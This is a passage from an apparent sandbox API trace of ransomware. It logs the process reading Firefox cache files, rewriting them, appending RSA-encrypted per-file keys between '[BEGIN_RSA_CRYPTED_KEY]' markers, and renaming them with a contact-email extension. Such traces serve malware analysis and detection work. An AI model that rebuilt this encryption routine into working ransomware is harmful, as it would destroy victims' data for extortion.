lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1d63, lpOverlapped=0x0) returned 1 [0295.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0295.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0295.054] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1d63 [0295.054] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.054] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.054] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.054] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.054] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nUladpoRZghTOc5dc6/KId/EjRbsZkpawGdGJuZXJFN+i/9f8QRXifUaIeFo+acM\nCJ2B7d6uQynV1gbUeZLZQrq2iwKR43+P1THIzHZyRAKhNrwEW16Zi2Olev0tdFRe\n9vIJqVyisRsaAV5yHYgRe4B8udErBUlnXCEEYLYV9wVkHUttTgJ75+4c+PKvfYrL\nAVHozIGoy6XvN3ZQ2p0Tu8vbe9/8F2borRTAJZPl+Fym4HpL7QCQnHNJ32KvOTfR\n+agOEkdGahzwUfKtBK1HbBatDZ4LI9K4SnnRIdvfDUjfWDU5CGlnqmtmaZxLbGO7\n1ewW3KYFHUvYYTmiQ66fnQ==\n", pcchString=0x2e3f9a8) returned 1 [0295.054] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.055] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.055] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.055] CloseHandle (hObject=0x1b84) returned 1 [0295.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.055] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0A55BC6531CA0A875D0E9F740E06AF72D4FFEAA3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0a55bc6531ca0a875d0e9f740e06af72d4ffeaa3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0295.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2fa8 | out: hHeap=0x570000) returned 1 [0295.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2a80 | out: hHeap=0x570000) returned 1 [0295.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3c08 [0295.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0295.060] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.060] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", dwFileAttributes=0x80) returned 1 [0295.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2558 [0295.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2558 | out: hHeap=0x570000) returned 1 [0295.061] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.061] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14134) returned 1 [0295.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3736) returned 0x2f39028 [0295.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3736) returned 0x3437008 [0295.062] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x3736, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x3736, lpOverlapped=0x0) returned 1 [0295.063] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-14134, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.063] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0x3736, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3736, lpOverlapped=0x0) returned 1 [0295.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0295.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0295.063] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3736 [0295.063] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.064] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.064] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.064] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.064] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.064] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K5NQ3cBOBDLDFkp3GZqZT6RWMlij5JL8eBiLLT/fB/S/uaTqaoJB6b5N5gxAYrx2\ne3MhWX/QT40LhswM2xYQKNQOB8+Csa3NKfvYYJmtqNUGVa378U04KusmXzwcXGiX\ndecOFKNABJ3anQ1ZpeFomVfMbNfvy/u3PuWYONffPORVLpkHzubN7RSD4T0dQZja\n3EquSQgEM5f6V7jl90WaoLgbM28n9/toUi5aN2jkQbvqGHdBk9UOHBAb6vd1aqwQ\nmYPwL75E7Sr9cUNviOXy0r3866VeoKPzgKrddh98+BFuP2G/Ke4n/pFmqIXL33Sw\nNiBFzt1QjgKwR3yUZzUfmA==\n", pcchString=0x2e3f9a8) returned 1 [0295.064] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.064] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.064] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.064] CloseHandle (hObject=0x1b84) returned 1 [0295.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.065] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0295.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3c08 | out: hHeap=0x570000) returned 1 [0295.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2030 | out: hHeap=0x570000) returned 1 [0295.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2348 [0295.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0295.067] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.067] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", dwFileAttributes=0x80) returned 1 [0295.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2870 [0295.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2870 | out: hHeap=0x570000) returned 1 [0295.067] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.068] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4406) returned 1 [0295.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1136) returned 0x2f81868 [0295.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1136) returned 0x3437008 [0295.068] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1136, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1136, lpOverlapped=0x0) returned 1 [0295.099] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.099] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0x1136, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1136, lpOverlapped=0x0) returned 1 [0295.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0295.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0295.099] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1136 [0295.099] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.099] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.100] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.100] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.100] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.100] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wFO+Xs4SpJVjBwvnFLFjFdU18+oCqBcvafnLFyGEpGCSEVFw0RZpzMJTTcf3M55b\nPmVnisUY/ROP85LJVOluC9yfX+S27/1bfPT/k/XykD+ms7uGMnTRJVPHnZv6XzxK\nzxLMH0ioLdgUEs5Hp3pmFFaFrA9T9gBK6Mb1KpyiJPD17kbn/OVQ8McKjpzkwRv9\nU/8yDbitcrF1qgyOmQ34ogZpJ/U/8fMRuWOiKFwMrT6NkkBITFJnf9jIS81HIGjT\ndaqUIZbXJ9pmHmAX1MFNencaHHAYisYeWmob1+HnD6jWqQs27+LYwYtvGS/ySNmx\ndZn6Np5S6baNzpzgNMONLQ==\n", pcchString=0x2e3f9a8) returned 1 [0295.100] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.100] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.100] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.100] CloseHandle (hObject=0x1b84) returned 1 [0295.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.100] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0295.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2348 | out: hHeap=0x570000) returned 1 [0295.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2768 | out: hHeap=0x570000) returned 1 [0295.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2fa8 [0295.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0295.103] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.103] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", dwFileAttributes=0x80) returned 1 [0295.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee30b0 [0295.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee30b0 | out: hHeap=0x570000) returned 1 [0295.103] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.104] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1322) returned 1 [0295.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52a) returned 0x66e948 [0295.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x52a) returned 0x2f3e850 [0295.104] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0295.105] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0295.105] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0295.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0295.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0295.105] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0295.105] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.105] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.105] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0295.105] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0295.106] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0295.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0295.106] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fUNIbBy/yUgm0/9z+Qte4IYYxIatDFRc0KELKU3wrgAWAnlrEO071pTSYmSnttXU\nhvEc9/z1FgbEJSizb2gb28GLEnnyIaiPeH2qvqIxAoaQzh6Sh4ex3NBKX+gUTWBV\nnRN+FSixtR9gzb232wvqO35G0jI0jCbMAB1roi4iH4dAFE2XOfMT+6kLdhyGtNB6\n2wDpEHZMT/tDOIK4LfMXB6e/uJLEw3nlM2kZ7FCP21jmrV5KTU/tShbWy4/ax0uh\nZJVMQRgjD2WFV+N6g908y74UNbu9XJC5VSpRPh/JPKKTSL52aWJ143dP8boJ+Unt\n4Wt6y8p74Kqg3NXHu/lOEA==\n", pcchString=0x2e3f9a8) returned 1 [0295.106] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0295.106] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0295.106] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0295.106] CloseHandle (hObject=0x1b84) returned 1 [0295.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0295.106] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0295.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0295.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0295.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2fa8 | out: hHeap=0x570000) returned 1 [0295.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee34d0 | out: hHeap=0x570000) returned 1 [0295.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2660 [0295.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0295.108] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0295.108] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", dwFileAttributes=0x80) returned 1 [0295.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee36e0 [0295.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee36e0 | out: hHeap=0x570000) returned 1 [0295.108] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.109] GetFileSizeEx (in: hFile=0x1b84, 